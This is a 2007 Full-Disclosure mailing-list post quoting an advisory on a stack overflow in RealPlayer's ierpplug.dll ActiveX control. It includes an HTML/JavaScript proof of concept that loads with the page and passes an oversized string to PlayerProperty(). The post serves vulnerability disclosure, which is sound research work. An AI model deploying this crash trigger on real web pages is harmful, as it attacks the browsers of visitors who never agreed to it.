[Full-disclosure] UPDATED: RealNetworks RealPlayer ierpplug.dll ActiveX Control Multiple Stack Overflows

Tue Nov 27 00:24:16 GMT 2007

Ouch!

On Nov 26, 2007 9:15 PM, Elazar Broad <elazarb at earthlink.net> wrote:

> After some creative Googling, I am revising my original post. I believe
> that the Import() method overflow that I originally posted is really
> http://www.securityfocus.com/bid/26130, although I am not sure why Linux
> is listed under the "Vulnerable" section, so I am taking it out of the PoC
> code. Real claims to have patched this back in October, but I can still
> throw a stack overflow exception via this function using the originally
> stated version of RealPlayer(which I installed last night). I am now listing
> this vulnerability as RealNetworks RealPlayer ierpplug.dll ActiveX Control
> PlayerProperty() Method Stack Overflow, and it might be wise to list this
> under a separate BID. PoC as follows:
>
> -------------
> <!--
> written by e.b.
> -->
> <html>
>  <head>
>  <script language="JavaScript" DEFER>
>    function Check() {
>    var s = "AAAA";
>
>    while (s.length < 999999) s=s+s;
>
>     var obj = new ActiveXObject("IERPCTL.IERPCTL");
> //{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}
>
>      var obj2 = obj.PlayerProperty(s);
>
>
>   }
>  </script>
>
>  </head>
>  <body onload="JavaScript: return Check();">
>
>  </body>
> </html>
> -------------
>
> Elazar
>
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